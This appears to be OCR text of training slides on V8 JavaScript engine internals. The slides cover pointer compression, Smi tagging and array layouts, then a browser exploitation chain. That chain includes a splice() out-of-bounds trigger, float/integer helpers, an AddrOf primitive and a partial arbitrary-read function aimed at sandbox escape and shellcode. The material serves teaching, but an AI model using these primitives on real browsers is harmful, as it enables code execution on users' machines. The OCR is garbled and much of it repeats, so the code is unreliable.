- Ox0003abcl == ... 1010 10111100 000! == pointer!

EAQAST
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11 Let's Debug

03 Value Representation (1)

Pointer Compression

- Most objects use Pointer Compression - JSArray Object Structure

- Reduce the size of poinfers by using 32-bit addresses Map 0x02b40018e0bl
P ti 0x02b4000006cd
ex) 0x02b400 roperties | Ox C

64bits : 0x000002040018e6b! _Elements | 0x02b40019063d s it the same. 2
32bits : Ox0018e6bl (Base Address : 0x000002b4)

- Increased memory efficiency

- Enhanced security (2732, 4GB == Sandbox) - Examining memory

x/4wx 0x2b400049b89-1

! 0x2b400049b88: 0x0018e6bl 0x000006cd 0x0019a63d
Tagged Pointer Ox2ba0004

- Can you guess? Ox0003abcl

- for pointers : LSB | OOOWOOOOOOO
0

3
LSB -> tag bit

- Ox0003abcl == ... 1010 10111100 0001 == pointer!

EAQAST
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11 Let's Debug

03 Value Representation (2)

Smi(Small Integer)

- Handling small infegers in V8
- Shifting signed Integer left by 1 bit in binary, so Smi's LSBis always O

M3818 30 2 1 o

SignedlnTegeSr 0 O O O O O O O O O O O 111
sign bif

o 0101001000100 ]0]O|O]1]]

31 30 210

MSB LSB

32

heﬁ shift 11

EAQAST
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11 Let's Debug

03 Value Representation (2)

Smi(Small Integer)
- Handling small infegers in V8
- Shifting signed Integer left by 1 bit in binary, so Smi's LSBis always O
MSB idx
31 30 2 1 0
0101001000 [--10{0|0[0]O] 1|1

Signed Integer
3

Fl
010101011 1m
1 0
EQAST

I,' I,'
l' l'
II II 1
I' I' Il
Ill Ill ,,I
vV ¥ ¥
o Tg\olololofo]o] |0
31 30 2
MSB LSB
Experts, Qualified Security Team
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11 Let's Debug

03 Value Representation (2)

Smi(Small Integer)

- Handling small infegers in V8

- Shifting signed Integer left by 1 bit in binary, so Smi's LSBis always O

Signed Integer
3

Smi

MSB idx
31 30 2 1 0
01010101000 |-{0{0]O|0[O|1]1
sign bif

v
sign bit tag bit
OOOOOO---OOOOO]]E
31 30 2 1 0
MSB LSB

34

X Tag Bit
- 0! Smi
- 1: Tagged Poinfer

EAQAST
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11 Let's Debug

03 Value Representation (2)

Smi(Small Integer)

- Handling small infegers in V8

- Shifting signed Integer left by 1 bit in binary, so Smi's LSBis always O

Signed Integer
3

Smi

M3818 30 2 i((j)X
olo]o]olo]o]o]-]o]o]o]o]o] 1]
sign bif

v
sign bit tag bit
olo]o]o]o]o]-|o]o]olo]o]1]1 ]|
31 30 2 1 0
MSB LSB

19

Bit Shift Calculator

Input: 0011(=3) << 1 =>  Output: O110(=6)

Select Datatype

Binary hd

Enter Number 0011

T —

Number of Bits to Shift |1

Shift Left Shift Right

OUTPUT
Decimal Result &
Binary Result 0110

Hexadecimal Result = ¢

https://circuitdigest.com/calculators/bit—shift—calculator

EAQAST
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11 Let's Debug

03 Value Representation (3)

Smi(Small Integer) Range

- Signed Integer's range is —=2,147,483,648(-2°") ~ 2147,483,647(2% = 1) and total number is 4,294,967,296
- Smi's range is —1,073,741,824(-239) ~1,073,741,823(2°° = 1) and total number is 2,147,483,648

- Exceeding Smi or Float values are stored as 64-bit double tfype on the heap

idx
31 30 1 0
soeamese |0]OTOJO]0TO0O]-T0T0]0OTOO] 1]
: \l/ ~~ ' —
i 1 Sign bit (MSB) + 31 Value bits = 32 bits X Signed Integer Range: =290 2911
! " Totdl number: 4,294,967,296
i 31 30 10
\j
* lolololololo] [o]olololo]1 ﬁ
] __
1 Sign bit (MSB) + 30 Value bits + 1 Tag bit (LSB) = 32 bits X% Smi Range: =230 to 2301
0 Smi Total number: 2,147,483,648

- I Tagged Pointer

EAQAST
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11 Let's Debug

04 Object Structure (1)

Object
(JSObject, JSArray)
l i mop |
[ i |
Map properties
elements |

root map pointer

1L only JSArray
s —— U (e (o VA <Yolel o))

v

Properties

map

v

Elements

map

EAQAST
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04 Object Structure (1) — JSObject

/] jsobject js

obj = {"first’: 2, "second”: 9, "third": 9 }:
EXGmple 2 % DebugPrint(ob)):
JSObject while(1): // prevent to memories reset

$ gdb -q ./d8
r --allow-natives-syntax chapter2/jsobject.js
root map pointer ———————— DebugPrint:
| 0x00000004 - map : 0x2bb60019a749 <Map[24] (HOLEY_ELEMENTS)>[FastProperties]

elements: 0x2bb6000006cd <FixedArray[0]>[HOLEY_ELEMENTS]

3 0Ox00000012 properties: 0x2bb6000006cd <FixedArray[0]>
- - All own properties (excluding elements): {

I
I -
) 0x00000012 : prototype: 0x2bb600184b11l <Object map = 0x2bb60018414d>
[
|

map 0x2bb60019a5b9: [String] in OldSpace: (const data
field 0), location: 1in-object
0x2bb600005585: [String] 1in ReadOnlySpace: (const
Nonwijroperhes' data field 1), location: 1in-object

{"first":2, “second”: 9,"third": 9} 0x2bb60019a5cd: [String] in OldSpace: (const data
field 2), location: in-object
3

X/ 8wx W) > 1 tagged pointer ]
0x274600049b6c:0x0019a749 0x000006cd 0x000006cd  0x0000000
0x274600049b7c:0x00000012 0x00000012 0x0000062d 0x00010001

-> 0x4, 0x12, Ox12: Smi

map

EAQAST
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11 Let's Debug

04 Object Structure (2) — JSArray

/] jsarray_smi.js
arr = [1, 2, 3
EXOmple 3 % DebugPrint(arr):
JSArray whie(1): // prevent to memories reset

$ gdb —q ./d8
r --allow-natives-syntax chapter2/jsarray_smi.js

DebugPrint:

- map:0x16b20018e6bl <Map[16] (PACKED_SMI_ELEMENTS)>
[FastProperties]

- prototype: 0x16b20018e925 <JSArray[0]>

- elements: 0x16b20019a62d <FixedArray[3]> [PACKED_SMI_ELEMENTS
- Tength: 3
- properties: 0x16b2000006cd <FixedArray[0]>
- All own properties (excluding elements): {

root map pointer

: e
- elements: 0x16b20019a62d <FixedArray[3]> {

0:
1:
2.

map Indexed Properties:

[1,2, 3]

EAQAST
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11 Let's Debug

05 JSArray Structure (1) - Elements

/] jsarray_smi.js
arr = [1, 2, 3
JSArray % DebugPrint(arr):
map whie(1): // prevent to memories reset
properties
__________ : $ gdb -q ./d8
length r --allow-natives-syntax chapter2/jsarray_smi.js
DebugPrint:
- elements: 0x16b20019a62d <FixedArray[3]> [PACKED_SMI_ELEMENTS
I map y ( )]
o |
Indexed Properties : 0x16b20019a62c: 0x00000605
[1,2,3]

x/wx 0x16b20019a62d - 1 + Ox1
0x16b20019a62d: 0x06000006

x/wx 0x16b20019a62d - 1 + 0x2
0x16b20019a62e: 0x00060000

x/wx 0x16b20019a62d - 1 + Ox8
0x16b20019a634: 0x0000000

EAQAST
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05 JSArray Structure (1) - Elements

/] jsarray_smi.js

arr = [1, 2, 3

% DebugPrint(arr):

map whie(1): // prevent to memories reset

JSArray

properties
__________ ] $ gdb -q ./d8
__________ r --allow-natives-syntax chapter2/jsarray_smi.js
length DebugPrint:

- elements: 0x16b20019a62d <FixedArray[3]> [PACKED_SMI_ELEMENTS
(cow) ]

" job 0x16b20019a62d
0x16b20019a62d: [FixedArray] in OldSpace
I element 1 | - map: 0x16b200000605 <Map(FIXED_ARRAY_TYPE)>

- th: 3
| element 2 | e 0:

I element 3 I %1

x/8wx 0x16b20019a62d - 1
__________ 0x16b20019a62c: 0x00000605  0x00000006  0x0000000

I element N I

Indexed Properties : 0x0000000
1 2 3] 0x16b20019a63c: 0x0000000 0x000010ad  0x00000000

0x0019a62d

EAQAST
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11 Let's Debug

05 JSArray Structure (2) - Elements

/] jsarray_smi.js

arr = [1, 2, 3

% DebugPrint(arr):

whie(1): // prevent to memories reset

@O JSArray 0x160200049b55

i - |
! , $ gdb —q ./d8
+0x8 properties I r --allow-natives-syntax chapter2/jsarray_smi.js
| : DebugPrint:
]
I T
1 Onlelaz00 OMbB200 - elements: 0x16b20019a62d <FixedArray[3]> [PACKED_SMI_ELEMENTS
i length | Oxlob (cow) ]
__________ mOp - =
+ Ox8 ;
length - elements: 0x16b20019a62d <FixedArray[3]> {
I @ element 1 | (1)
element 2 2:
element 3
X /WX - 1+ Ox8
0x16b200049b5c: 0x0019a62d
element N

x/3wx 0x16b20019a62d - 1 + Ox8
0x16b20019a634: 0x0000000 0x0000000 0x0000000

EAQAST
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05 JSArray Structure (3) - Elements

//jsarray_double js
arr = [T, 1.1, 2.2, 3.31:
EXOmple 4 JSAmray % DebugPrint(arr):
map while(1): // prevent to memories reset
properties
__________ 1 $ gdb —q ./d8
__________ r --allow-natives-syntax chapter2/jsarray_double.js
length DebugPrint:

- elements: 0x3ecb00049b69
<FixedDoubleArray[4]>[PACKED_DOUBLE_ELEMENTS]

1 job 0x3ech00049b69
I 0x3ecb00049b69: [FixedDoubleArray]
- map: 0x3ecb00000851 <Map(FIXED_DOUBLE_ARRAY_TYPE)>

I element | I - Tength: 4

I element 2 I

I element 3 I

i |

I x/8wx 0x3ecb00049b69 - 1

L semeny 0x3ech00049b68: 0x00000851  0x00000008  Ox
Indexed Properties (0%

[mmmma1.1,22 331 0x3ecb00049b78: 0x ()% (0)%

(0)'4

EAQAST
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11 Let's Debug

05 JSArray Structure (3) - Elements

//jsarray_double js
Fxample 4 arr = [1111NM, 11, 2.2, 3.31;
G p € JSAray % DebugPrint(arr):
map while(1): // prevent to memories reset
properties
|
length
$ gdb —q ./d8
—————————— r --allow-natives-syntax chapter2/jsarray_double.js
I ' DebugPrint:
|| . s
! - elements: 0x3ecb00049b69
I element 1 | <FixedDoubleArray[4]>[PACKED_DOUBLE_ELEMENTS]
I element 2 |
0x3ecb00049b68: 0x0000000800000851 0x
i 1 0x3ech00049b78: 0x 0x
I clement N i 0x3ech00049b88: 0x 0x000006cd0018efbl

Indexed Properties
[nmmma ., 22,331

EAQAST
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11 Let's Debug

05 JSArray Structure (3) - Elements

Example 4

JSArray

map

properties

| elements |

| elements 2

| elements 3

| elements 4

MM = 0x41d08e8d/1c00000
1.1 = Ox3ff19999999999%a

2.2 = 0x40019999999999%a
3.3 = 0x400a666666666666

//jsarray_double js

arr = [T, 1.1, 2.2, 3.31:

% DebugPrint(arr):

while(1): // prevent to memories reset

$ gdb —q ./d8
r --allow-natives-syntax chapter2/jsarray_double.js
DebugPrint: 0x3ecb00049b91: [JSArray]

- elements: 0x3ecb00049b69
<FixedDoubleArray[4]>[PACKED_DOUBLE_ELEMENTS]

X/gx 0x3ecb00049b69 - 1
0x3ecb00049b68: 0x0000000800000851

x/gx 0x3ecb00049b69 - 1 + 0x8
0x3ecb00049b70: Ox

x/gx 0x3ecb00049b69 - 1 + Ox8 + Ox8
0x3ecb00049b78: 0Ox

x/gx 0x3ecb00049b69 - 1 + Ox8 + Ox8 + 0x8
0x3ecbh00049b80: 0Ox

x/gx 0x3ecb00049b69 - 1 + Ox8 + Ox8 + Ox8 + Ox8
0x3ecb00049b80: Ox

EAQAST
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II  Let'sDebug

05 JSArray Structure (3) - Elements

EXOmple 4 JSAery
properties p=——
__________ i 1 1.1
| Sy
__________ Most accurate representation = 1.10000000000000008881784137001E0
length New conversion
|| __________ II l ——————————————————————
300111111 11110001 10011001 10011001 |
| = i 0x3FF199999999999A
| length length Ox8 (smi) | 120-193-01 ]-_021;12{11-120-11@2 l@l@lo_|
| elements | I 11111 = 0x41d08e8d/71c00000 sign Exponent Mantissa
b ements2 1 11 = Ox3ff199999999999 JHEEREEEREEEE
] CHEEEEEEEEE
| elements 3 I 2.2 = 0x400199999999999qa
i elements 4 I 3.3 = 0x400a0666666666666 ° .

https://binaryconvert.com/result_double.html?decimal=049046049
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111 Exploitation

01 How to Exploit (1)

V8 Bug

&

Memory
Corruption

J

48

-

\_

Arbitrary
Address
Read/Write

~

J

EAQAST
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01 How to Exploit (2)

V8 Bug

&

Memory
Corruption

J

-

\_

Arbitrary
Address
Read/Write

~

J

49

Sandbox Escape

ey

EAQAST
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02 Sandbox Escape (1)

EAQAST
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02 Sandbox Escape (2)

V8 Sandbox

RWX Space

Code

Code Enfry Pointer

EAQAST

51 Experts, Qualified Security Team



111 Exploitation

02 Sandbox Escape (3)

V8 Sandbox

Pointer Table

0 Type + Pointer

Type + Pointer

2 Type + Pointer

RWX Space

I

52

Code

EAQAST
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02 Sandbox Escape (4)

V8 Sandbox

Pointer Table RWX Space
-= 0 Type + Pointer

Type + Pointer

, ]
Z index Code
2 Type + Pointer

RWX Space

WASM

jump ftable start

EAQAST
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02 Sandbox Escape (5)

V8 Sandbox
Pointer Table
- dex | RWX Space
_ == 0 Type + Pointer
-
] Type + Pointer
. Code
2 Type + Pointer
index TrustedPointer Table RWX Space
T == 0 Type + Pointer
] Type + Pointer
: WASM
2 Type + Pointer

) EQST
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111 Exploitation

O3 Exploitation Process

Code
Execution
Sandbox * Executing Shellcode
Escape
l\/lemory « Identifying RWX
Read/Write Space
Memory «  Getting Address of *  Writing Shellcode using
Corruption Object (AddrOf) WASM

*  Manipulating Array * Reading Arbitrary * Finding Shellcode
Length for OOB Address (AAR) Entry—point
« Missing Boundary Check *  Writing Arbitrary
in splice() Address (AAW)

EAQAST

56 Experts, Qualified Security Team
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« Missing Boundary Check
in splice()

EAQAST
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111 Exploitation

04 OOB Bug

OOB(Out-of-Bounds)

index value

arr[O] 11

valid
> arr[1] 2.2

idx=0,1 2
arr[2] 3.3
@ orr[dx]D =
Ay S 0 ‘
. ]

fG invalid

arr =[1.1, 2.2, 3.3];

index value

arr[O] 11

arr[1] 2.2
arrlidx D —_— vbci/hgogg < arr[2] 3.3
arr[3] sth. value

EAQAST
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05 OOB Trigger (1)

splice()

- array.splice(startindex, deleteCount, iteml, item?2, ...)

/] splice js

let arr = [1.1, 2.2, 3.3

print(‘result:”, arr.splice(1)); [/ result: 2.2,3.3
print(Carr:’,arr, ", arr len:’, arr length): [/ arr:11, arrlen: |

EAQAST

59 Experts, Qualified Security Team



111 Exploitation

05 OOB Trigger (1)

splice()

- array.splice(startindex, deleteCount, iteml, item?2, ...)

/] splice js

let arr = [1.1, 2.2, 3.3

print(‘result:”, arr.splice(1)); [/ result: 2.2,3.3

print(Carr:’,arr, ", arr len:’, arr length): [/ arr:11, arrlen: |
value

arr.splice(l) \£6 QI arr:1.1, arrlen:

x| [x <
m' EQAST
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111 Exploitation

05 OOB Trigger (1)

splice()

- array.splice(startindex, deleteCount, iteml, item?2, ...)

/] splice js
let arr = [1.1, 2.2, 3.3
print(‘result:”, arr.splice(1)); [/ result: 2.2,3.3
print(Carr:’,arr, ", arr len:’, arr length): [/ arr:11, arrlen: |
print(‘result:’, arr.splice(-1)): [/ result: 1]
print(Carr:’,arr, ", arr len:’, arr length): /[ arr: arrlen: O
value 0
index

arr.splice( =1) \£6 QI arr: , arrlen: 0
X

EAQAST
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05 OOB Trigger (2)

splice() Trigger Point

- array.splice(startindex, deleteCount, iteml, item?2, ...) - Removed array length validation logic
/] splice.js - ,
et arr = [11, 2.2 3.3]; /] v8/src/builtins/array—splice.tq
print(‘result:’, arr.splice(1)): /] result: 2.2.3.3 ngmen_JF reloﬂveSTqu), 0) I NSO 0
printCarr,arr, *, arr len’’, arr.length): [[arr 11, arrlen: Min(relativeStart, len) [/ positive vs length
print(‘result:’, arr.splice(-1)): [/ result: 1]
print(Carr:’,arr, ", arr len:’, arr length): /[ arr: arrlen: O
value 0
index

arr.splice( =1) ¢£5 é%y arr: , arrlen: 0
X

EAQAST
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05 OOB Trigger (2)

splice() Trigger Point

- array.splice(startindex, deleteCount, iteml, item?2, ...) - Removed array length validation logic
/] splice.js - ,
et arr = [11, 2.2 3.3]; /] v8/src/builtins/array—splice.tq
print(‘result:’, arr.splice(1)): /] result: 2.2.3.3 -M-.e*((lenfr reloﬂveSTqu), 0) I NSO 0
printCarr,arr, *, arr len’’, arr.length): [[arr 11, arrlen: Mim{relativeStart, len): [/ positive vs length
print(‘result:’, arr.splice(-1)): [/ result: 1]
print(Carr:’,arr, ", arr len:’, arr length): /[ arr: arrlen: O
value 0
index

arr.splice( =1) ¢£5 é%y arr: , arrlen: 0
X

EAQAST
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Memory
Corruption

*  Manipulating Array
Length for OOB
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05 OOB Trigger (3)

splice()

- array.splice(startindex, deleteCount, iteml, item?2, ...)

/] splice js

let arr = [1.1, 2.2, 3.3

print(‘result:”, arr.splice(1)); [/ result: 2.2,3.3

print(Carr:’,arr, ", arr len:’, arr length): [/ arr:11, arrlen: |

print(‘result:’, arr.splice(-1)): [/ result: 1]

print(Carr:’,arr, ", arr len:’, arr length): /[ arr: arrlen: O
value

<>

arr.splice( =1) \£6
X

QI arr: , arrlen: O

Trigger Point

- Removed array length validation logic

/] v8/src/builtins/array—splice.tq
Mepe((len + relativeStart), O): // negative vs O
Mim(relativeStart, len); /] positive vs length

Length Manipulation

ldx  element value
/] splice_oob.js 0 arr[0] 11
let arr = [1.1, 2.2, 3.3]:
print("arr length:’, arrlength) // 3 ] arr(1] 2.2
print("arr[3]:", arr[3]) // undefined 5 arr[2] 33
arr.splice(=4); 3 arr[3] sth value
print("arr length:", arr.length) // -1
print("arr[3]:", arr[3]) // sth value

65

EAQAST

Experts, Qualified Security Team



111 Exploitation

05 OOB Trigger (3)

splice()

- array.splice(startindex, deleteCount, iteml, item?2, ...)

/] splice js

let arr = [1.1, 2.2, 3.3

print(‘result:”, arr.splice(1));
print(Carr:’,arr, ", arr len:’, arr length):

/] result: 2.2,3.3

[/ arr: 11, arrlen: |

/] result: 11
/] arr: , arrlen: O

print(‘result:’, arr.splice(-1)):
print(Carr:’,arr, ", arr len:’, arr length):

value

<>

arr.splice( =1) \£6
X

QI arr: , arrlen: O

66

Trigger Point

- Removed array length validation logic

/] v8/src/builtins/array—splice.tq
Mere((len + relativeStart), 0):

Mir(relativeStart, len);

// negative vs O
/] positive vs length

Length Manipulation

/] uint js

let int32Array = new Int32Array(1):
let uint32Array = new Uint32Array(1):
int32Array[0] = -1

uint32Array[0] = -1

print("int32:", int32Array[0]): /[ =1
print("uint32:", uint32Array[0]): /] 4294967295

EAQAST
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Memory
Read/Write
» (Gefting Address of

Object (AddrOf)

* Reading Arbitrary
Address (AAR)

*  Writing Arbitrary
Address (AAW)

EAQAST

67 Experts, Qualified Security Team



111 Exploitation

06 Utility Function

Utility Function

/] utility js
var buf = new ArrayBuffer(8):
var f64_buf = new Floaté4 Array (buf):

var ub4_buf = new BigUinté4 Array(buf):

function Float Tolnt(val){
f64 buflO]=val:
return u64_buf[0]:
h
function Int ToFloat(val){
u64_buflO] = val:
return f64_buf[O]:
¥
function DecToHex(val){
return 'Ox" + val.toString(16):
¥
function High32(x) {
return (x >> 32n) & BigInt(Oxffffffff):
¥
function Low32(x) {
return x & BigInt(Oxffffffff):
¥

Float —=> Integer

Integer —> Float

Decimal —> Hex String
high 32 bits
low 32 bits

68
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06 Utility Function

Utility Function

/] utility js
var buf = new ArrayBuffer(8):
var f64_buf = new Floaté4 Array (buf):

var ub4_buf = new BigUinté4 Array(buf):

function Float Tolnt(val){
f64 buflO]=val:
return u64_buf[0]:
h
function Int ToFloat(val){
u64_buflO] = val:
return f64_buf[O]:
¥
function DecToHex(val){
return 'Ox" + val.toString(16):
¥
function High32(x) {
return (x >> 32n) & BigInt(Oxffffffff):
¥
function Low32(x) {
return x & BigInt(Oxffffffff):
¥

Float —=> Integer

Integer —> Float

Decimal —> Hex String
high 32 bits
low 32 bits

69

Ox 112233445566/7788
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111 Exploitation

06 Utility Function

Utility Function

/] utility js
var buf = new ArrayBuffer(8):
var f64_buf = new Floaté4 Array (buf):

var ub4_buf = new BigUinté4 Array(buf):

function Float Tolnt(val){
f64 buflO]=val:
return u64_buf[0]:
h
function Int ToFloat(val){
u64_buflO] = val:
return f64_buf[O]:
¥
function DecToHex(val){
return 'Ox" + val.toString(16):
¥
function High32(x) {
return (x >> 32n) & BigInt(Oxffffffff):
¥
function Low32(x) {
return x & BigInt(Oxffffffff):
¥

Float —=> Integer

Integer —> Float

Decimal —> Hex String
high 32 bits
low 32 bits

70

Ox 1122334455667788
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06 Utility Function

Utility Function

/] utility js

var buf = new ArrayBuffer(8):

var f64_buf = new Floaté4 Array (buf):
var ub4_buf = new BigUinté4 Array(buf):

function Float Tolnt(val){

f64_buflO]=val: —
return ub4_bufl[Ol: FlOGT > |nTeger
¥
function IntToFloat(val){
u64_bufl0] = val Integer —> Float
return f64_buf[O]:
¥

function DecToHex(val){
return 'Ox" + val.toString(16):

Decimal —> Hex String

}

function High32(x) { . . Ox] ] 223344
return (x >> 32n) & BigInt{OxFFFERFEE): high 32 bits

}

function Low32(x) { | 32 b_I_ OX 55667788
return x & Biglnt(OxFFFFFFEF); ow ITS

}

EAQAST
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06 Utility Function

Utility Function

/] utility js
var buf = new ArrayBuffer(8):
var f64_buf = new Floaté4 Array (buf):

var ub4_buf = new BigUinté4 Array(buf):

function Float Tolnt(val){
f64 buflO]=val:
return u64_buf[0]:
h
function Int ToFloat(val){
u64_buflO] = val:
return f64_buf[O]:
¥
function DecToHex(val){
return 'Ox" + val.toString(16):
¥
function High32(x) {
return (x >> 32n) & BigInt(Oxffffffff):
¥
function Low32(x) {
return x & BigInt(Oxffffffff):
¥

Float —=> Integer

Integer —> Float

Decimal —> Hex String
high 32 bits
low 32 bits

72
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06 Utility Function

Utility Function

/] utility js
var buf = new ArrayBuffer(8):
var f64_buf = new Floaté4 Array (buf):

var ub4_buf = new BigUinté4 Array(buf):

function Float Tolnt(val){
f64 buflO]=val:
return u64_buf[0]:
h
function Int ToFloat(val){
u64_buflO] = val:
return f64_buf[O]:
¥
function DecToHex(val){
return 'Ox" + val.toString(16):
¥
function High32(x) {
return (x >> 32n) & BigInt(Oxffffffff):
¥
function Low32(x) {
return x & BigInt(Oxffffffff):
¥

Float —=> Integer

Integer —> Float

Decimal —> Hex String
high 32 bits
low 32 bits

73
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07 AddrOf (1)

AddrOf

- Reads the compressed pointer address of an arbitrary object

Example 5

/[ addrof js

var ocob = [111; /| create oob array
var find_addr = [{}]:  // create find_addr array
oob.splice(=2); /] oob array get large length via splice vulnerability

% DebugPrint(oob):
%DebugPrint(find_addr):
while(1);

74

CTy
;ﬁﬁmﬁﬁ

{PRACTICE

U789
@ﬁaﬁ§

Arbitrary Address Get an
Read/Write Address

// DebugPrint Result of

DebugPrint: 0x3e430004a275: [JSArray]

- map: 0x3e430018f00d <Map[16] (PACKED_DOUBLE_ELEMENTS)>
[FastProperties]

- prototype: 0x3e430018e93d <JSArray[0]>

- <FixedDoubleArray[1]>
[PACKED_DOUBLE_ELEMENTS]

- length: -1

- properties: 0x3e43000006cd <FixedArray[0]>

// DebugPrint Result of find_addr Array

DebugPrint: 0x3e430004a2ad: [JSArray]

- map: 0x3e430018f08d <Map[16] (PACKED_ELEMENTS)>
[FastProperties]

- prototype: 0x3e430018e93d <JSArray[0]>

- elements: 0x3e430004a285 <FixedArray[1l]> [PACKED_ELEMENTS]
- length: 1

- properties: 0x3e43000006cd <FixedArray[0]>

EAQAST
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07 AddrOf (2) Arbitrary Address Get an
Read/Write Address

Object Structure

oob
map Heap memory
, +— Ox3e430004 0265
properties > map N 0ob[0] { 0obl0]
elements length
- 32 (0x20)
length oobl[0] 0x20
il oobl[4] ‘[ find_arr[O] 8
find_addr . map «— Ox3e430004 0285
map length : :
. . size of one element in an array = Ox8 byte
properties find_addr[0]
elements
length Difference is 32 (0x20) (4 indices, oobl[4])

EAQAST
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07 AddrOf (3)

Example 6

/[ target_addrof js
function FloatTolnt(val){-}
function IntToFloat(val){-}
function DecToHex(val){-}
function High32(x){-}
function Low32(x){--}

function AddrOf(obj){
find_addr[0] = obj;
return FloatTolnt(oob[4]) & Oxffffffffn:
}

/] find_addr[0] = target’s pointer
/[ return target’s addr

var oob = [1.1];
var find_addr = [{}]:
oob.splice(=2):

/] we will insert shellcode in it later.
/] print target’s addr

var target = [111;
orint(DecToHex(AddrOf (target))):

%DebugPrint(target): // check via DebugPrint

76

Arbitrary Address Get an
Read/Write Address
Results
Heap memory
0ob[0] { 0obl0]
oob[4] ‘[ find_arr[0] = target’s pointer

Ox4adcd
DebugPrint: 1be70004adcd: [JSTypedArray]
- map: Ox1lbe70018efbl <Map[16] ..

- prototype: OX1BE70018E925 <JSArray[0]>

- elements: Ox1lbe70004adbd <FixedDoubleArray[1] ..

EAQAST
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07 AddrOf (3)

Example 6

/[ target_addrof js

— function FloatTolnt(val{}
function IntToFloat(val){-}
function DecToHex(val){-}
function High32(x){-}
function Low32(x){--}

function AddrOf(obj){
find_addr[0] = obj;
return FloatTolnt(oob[4]) & Oxffffffffn:
}

/] find_addr[0] = target’s pointer
/[ return target’s addr

var oob = [1.1];
var find_addr = [{}]:
oob.splice(=2):

/] we will insert shellcode in it later.
/] print target’s addr

var target = [111;
orint(DecToHex(AddrOf (target))):

%DebugPrint(target): // check via DebugPrint

77

Arbitrary Address Get an
Read/Write Address
Results
Heap memory
0ob[0] { 0obl0]
oob[4] ‘[ find_arr[0] = target’s pointer

Ox4adcd
DebugPrint: 1be70004adcd: [JSTypedArray]
- map: Ox1lbe70018efbl <Map[16] ..

- prototype: OX1BE70018E925 <JSArray[0]>

- elements: Ox1lbe70004adbd <FixedDoubleArray[1] ..

EAQAST
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07 AddrOf (3)

Example 6

/[ target_addrof js
function FloatTolnt(val){-}
function IntToFloat(val){-}
function DecToHex(val){-}
function High32(x){-}
function Low32(x){--}

> function AddrOf(obj){
find_addr[0] = obj;
return FloatTolnt(oob[4]) & Oxffffffffn:
}

/] find_addr[0] = target’s pointer
/[ return target’s addr

var oob = [1.1];
var find_addr = [{}]:
oob.splice(=2):

/] we will insert shellcode in it later
/] print target’s addr

var target = [111;
orint(DecToHex(AddrOf (target))):

%DebugPrint(target): // check via DebugPrint

78

Arbitrary Address Get an
Read/Write Address
Results
Heap memory
0ob[0] { 0obl0]
oob[4]'{ find_arr[0] = target’s pointer

Ox4adcd
DebugPrint: 1be70004adcd: [JSTypedArray]
- map: Ox1lbe70018efbl <Map[16] ..

- prototype: OX1BE70018E925 <JSArray[0]>
- elements: Ox1lbe70004adbd <FixedDoubleArray[1] ..

EAQAST
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07 AddrOf (3)

Example 6

/[ target_addrof js
function FloatTolnt(val){-}
function IntToFloat(val){-}
function DecToHex(val){-}
function High32(x){-}
function Low32(x){--}

function AddrOf(obj){
> find_addr[0] = obj;
return FloatTolnt(oob[4]) & Oxffffffffn:
}

/] find_addr[0] = target’s pointer
/[ return target’s addr

var oob = [1.1];
var find_addr = [{}]:
oob.splice(=2):

/] we will insert shellcode in it later.
/] print target’s addr

var target = [111;
orint(DecToHex(AddrOf (target))):

%DebugPrint(target): // check via DebugPrint

79

Arbitrary Address Get an
Read/Write Address
Results
Heap memory
0ob[0] { 0obl0]
oob[4] ‘[ find_arr[0] = target’s pointer

Ox4adcd
DebugPrint: 1be70004adcd: [JSTypedArray]
- map: Ox1lbe70018efbl <Map[16] ..

- prototype: OX1BE70018E925 <JSArray[0]>
- elements: Ox1lbe70004adbd <FixedDoubleArray[1] ..

EAQAST
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07 AddrOf (3)

Example 6

/[ target_addrof js
function FloatTolnt(val){-}
function IntToFloat(val){-}
function DecToHex(val){-}
function High32(x){-}
function Low32(x){--}

function AddrOf(obj){
find_addr[0] = obj;

» refurn FloatTolnt(oob[4]) & Oxffffffffn:

}

/] find_addr[0] = target’s pointer
/[ return target’s addr

var oob = [1.1];
var find_addr = [{}]:
oob.splice(=2):

/] we will insert shellcode in it later.
/] print target’s addr

var target = [111;
orint(DecToHex(AddrOf (target))):

%DebugPrint(target): // check via DebugPrint

80

Arbitrary Address Get an
Read/Write Address
Results
Heap memory
0ob[0] { 0obl0]
oob[4] ‘[ find_arr[0] = target’s pointer

Ox4adcd

DebugPrint: 1be70004adcd: [JSTypedArray]

- map: Ox1lbe70018efbl <Map[16] ..

- prototype: OX1BE70018E925 <JSArray[0]>

- elements: Ox1lbe70004adbd <FixedDoubleArray[1] ..

EAQAST
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07 AddrOf (3)

Example 6

/[ target_addrof js
function FloatTolnt(val){--}
function IntToFloat(val){-}
function DecToHex(val){--}
function High32(x){-}
function Low32(x){--}

function AddrOf(obj){
find_addr[0] = obj;
return FloatTolnt(oob[4]) & Oxffffffffn:
}

/] find_addr[0] = target’s pointer
/] return target’s addr

var oob = [1.1];
var find_addr = [{}]:
oob.splice(=2):

/] we will insert shellcode in it later
/] print target’s addr

» var target = [111;
orint(DecToHex(AddrOf(target))):

%DebugPrint(target): /] check via DebugPrint

81

Arbitrary Address Get an
Read/Write Address
Results
Heap memory
0ob[0] { 0obl0]
oob[4]'{ find_arr[0] = target’s pointer

Ox4adcd
DebugPrint: 1be70004adcd: [JSTypedArray]
- map: Ox1lbe70018efbl <Map[16] ..

- prototype: OX1BE70018E925 <JSArray[0]>
- elements: Ox1lbe70004adbd <FixedDoubleArray[1] ..

EAQAST
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07 AddrOf (3)

Example 6

/[ target_addrof js
function FloatTolnt(val){-}
function IntToFloat(val){-}
function DecToHex(val){-}
function High32(x){-}
function Low32(x){--}

function AddrOf(obj){

find_addr[0] = obj;

return FloatTolnt(oob[4]) & Oxffffffffn:
}

/] find_addr[0] = target’s pointer
/[ return target’s addr

var oob = [1.1];
var find_addr = [{}]:
oob.splice(=2):

/] we will insert shellcode in it later.
/] print target’s addr

var target = [111;
orint(DecToHex(AddrOf (target))):

%DebugPrint(target): // check via DebugPrint

82

Arbitrary Address Get an
Read/Write Address
Results
Heap memory
0ob[0] { 0obl0]
oob[4] ‘[ find_arr[O] = target's pointer

DebugPrint: [JSTypedArray]

- map: Ox1lbe70018efbl <Map[16] ..

- prototype: OX1BE70018E925 <JSArray[0]>

- elements: Ox1lbe70004adbd <FixedDoubleArray[1] ..
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08 AAR (Arbitrary Address Read)

Arbitrary Address

AAR

- Reads a Arbitrary Address.

function AAR (addr){
let index = (addr — oob_data_addr) / 8n;

if ((addr — oob_data_addr) 9% 8n)
return High32(FloatTolnt(coblindex])) +
(Low32(FloatTolnt(ooblindex+1n])) << 32n):
else
return Float Tolnt(ooblindex]):

Heap memory

